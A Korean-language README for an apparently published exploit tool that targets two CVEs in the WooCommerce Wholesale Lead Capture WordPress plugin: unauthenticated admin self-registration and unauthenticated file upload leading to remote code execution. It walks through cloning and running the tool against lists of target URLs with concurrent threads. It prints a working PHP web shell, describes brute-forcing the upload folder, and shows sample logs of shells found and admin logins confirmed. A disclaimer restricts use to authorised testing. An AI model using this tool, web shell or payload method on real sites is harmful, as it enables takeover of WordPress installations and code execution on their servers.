
비인증 권한 | 비인증 임의 파일 업로드
설명:
WordPress용 WooCommerce Wholesale Lead Capture 플러그인은 알려진 모든 영향받는 버전에서 인증되지 않은 권한 상승 취약점에 노출되어 있습니다. 이 취약점은 wwlc_create_user AJAX 액션 핸들러에 존재하며, 해당 핸들러는 사용자가 제공한 역할 필드를 적절한 삭제(sanitization)나 검증 없이 사용자 등록 요청을 처리합니다. 원격의 인증되지 않은 공격자는 특수하게 조작된 POST 요청을 구성하여 wp_capabilities[administrator]를 포함한 임의의 WordPress 권한(capability) 필드를 계정 생성 시점에 사용자 메타데이터에 직접 주입할 수 있습니다. 이를 통해 공격자는 사전 인증이나 정상 사용자의 상호작용 없이 스스로 WordPress 관리자로 등록할 수 있으며, 결과적으로 영향받는 WordPress 설치의 완전한 장악으로 이어집니다.
설명:
WordPress용 WooCommerce Wholesale Lead Capture 플러그인은 알려진 모든 영향받는 버전에서 인증되지 않은 임의 파일 업로드 취약점에 노출되어 있습니다. 이 취약점은 wwlc_file_upload_handler AJAX 액션에 있으며, 해당 액션은 인증이나 nonce 검증 요구 사항 없이 등록되어 있습니다. 원격의 인증되지 않은 공격자는 조작된 multipart POST 요청을 /wp-admin/admin-ajax.php로 전송하여 PHP 웹 셸을 포함한 임의 유형의 파일을 서버의 wp-content/uploads/ 디렉터리 아래 동적으로 생성된 wwlc-temp-* 하위 디렉터리에 업로드할 수 있습니다. 성공적인 악용은 웹 프로세스 사용자 계정으로 실행되는 기본 웹 서버에서 원격 코드 실행(RCE) 으로 이어집니다.
위에서 설명한 두 가지 치명적인 취약점에 대한 개념 증명(PoC) 악용 스크립트로, WooCommerce Wholesale Lead Capture 플러그인이 실행 중인 WordPress 설치를 대상으로 합니다. 이 도구는 두 가지 독립적인 공격 모드를 지원합니다:
| 모드 | 공격 유형 | 목표 |
|---|---|---|
| 모드 1 | 인증되지 않은 임의 파일 업로드 + 무차별 대입 폴더 검색 | PHP 웹 셸을 업로드하고 다중 계층 폴더 추측을 통해 셸을 찾습니다 |
| 모드 2 | 등록을 통한 인증되지 않은 권한 상승 | WordPress 관리자로 자체 등록하고 관리자 접근을 확인합니다 |
pip install requests urllib3 colorama
또는 requirements 파일로 설치:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
이 도구는 대화형 터미널 인터페이스를 제공합니다. 필요한 모든 파라미터를 입력하라는 메시지가 표시됩니다.
한 줄에 대상 URL 하나씩 포함된 일반 텍스트 파일(예: list.txt)을 생성합니다:
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
셸 파일 예시 (shell.php):
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
참고:
wwlc-temp-*폴더는 플러그인이 PHP의uniqid('wwlc-temp-')를 사용하여 동적으로 생성합니다. 이 도구는 해당 폴더를 찾기 위해 다중 계층 무차별 대입 전략을 사용합니다:
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
이 도구는:
administrator 역할을 주입하는 조작된 등록 페이로드를 제출합니다| 파일 | 설명 |
|---|---|
scan_results/wwlc_uploads.txt | 파일 업로드에 성공한 모든 사이트 (모드 1) |
scan_results/wwlc_shells_found.txt |
[INFO] Mode2 | Target: https://target.com
[SUCCESS] https://target.com | nonce found on /wholesale-register/: a1b2c3d4e5
[INFO] https://target.com | using discovered nonce
[SUCCESS] https://target.com | registration success for user=Nx_admin_x7k2
[SUCCESS] https://target.com | ADMIN login confirmed as Nx_admin_x7k2
[INFO] Mode1 | Target: https://target.com
[INFO] https://target.com | upload HTTP time: 0.847s
[SUCCESS] https://target.com | upload success file_name=shell_abc123.php
[INFO] https://target.com | pattern brute-force (50003 guesses)
[SUCCESS] https://target.com | shell FOUND via pattern: https://target.com/wp-content/uploads/wwlc-temp-00000123/shell_abc123.php
[INFO] https://target.com | folder scan stats: attempts=123, time=4.213s, rate=29.2 req/s
제작: Nxploited (Khaled Alenazi)
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
작성자 Nxploited (Khaled Alenazi) 및 이 프로젝트의 모든 기여자는 명시적인 서면 승인 없이 이 도구를 오용하거나 이 소프트웨어를 사용하여 시스템에 발생한 손해에 대해 어떠한 책임도 지지 않으며, 이를 묵인하거나 지지하지 않습니다.
- ✅ 허용: 소유한 시스템 또는 명시적인 서면 테스트 승인을 받은 시스템에 사용.
- ❌ 금지: 시스템 소유자의 사전 명시적 서면 승인 없이 모든 시스템에 사용.
컴퓨터 시스템에 대한 무단 접근은 불법이며, 적용 가능한 법률에 따라 처벌 대상입니다. 여기에는 Computer Fraud and Abuse Act(CFAA), Computer Misuse Act(CMA) 및 전 세계의 동등한 법률이 포함되며 이에 국한되지 않습니다.
이 도구를 사용함으로써 귀하는 자신의 행동에 대한 단독 책임을 수락하고 대상 시스템을 테스트할 법적 권한이 있음을 확인합니다.
작성자는 이 소프트웨어의 사용 또는 오용으로 인해 발생하는 직접적, 간접적, 부수적 또는 결과적 손해에 대해 일체의 책임도 지지 않습니다.
© 2026 Nxploited (Khaled Alenazi) — 승인된 보안 연구 전용.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-27542 |
| 심각도 | 치명적 — CVSS v3.1 점수: 9.8 |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 영향받는 구성 요소 | WordPress용 WooCommerce Wholesale Lead Capture(WWLC) 플러그인 |
| 취약점 유형 | 인증되지 않은 권한 상승 |
| 인증 필요 | 없음 |
| CWE | CWE-269: 잘못된 권한 관리 |
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-27540 |
| 심각도 | 치명적 — CVSS v3.1 점수: 9.8 |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 영향받는 구성 요소 | WordPress용 WooCommerce Wholesale Lead Capture(WWLC) 플러그인 |
| 취약점 유형 | 인증되지 않은 임의 파일 업로드 (원격 코드 실행으로 이어짐) |
| 인증 필요 | 없음 |
| CWE | CWE-434: 위험한 유형의 파일 무제한 업로드 |
| 레이어 | 전략 | 설명 |
|---|
| 0 | 디렉터리 목록 | 업로드 디렉터리가 공개된 경우 목록을 시도합니다 |
| 1 | 패턴 기반 | 시간 기반 및 순차 숫자 추측 |
| 2 | 시간 기반 16진수 | 관찰된 HTTP 요청 타임스탬프를 시드로 사용 |
| 3 | 무작위 16진수 | 순수 무작위 16진수 문자열 추측 |
| 접근이 확인된 전체 셸 URL (모드 1) |
scan_results/wwlc_register_results.txt | 자격 증명이 포함된 모든 등록 시도 결과 (모드 2) |
scan_results/Admin_login.txt | 자격 증명이 포함된 확인된 관리자 로그인 성공 기록 (모드 2) |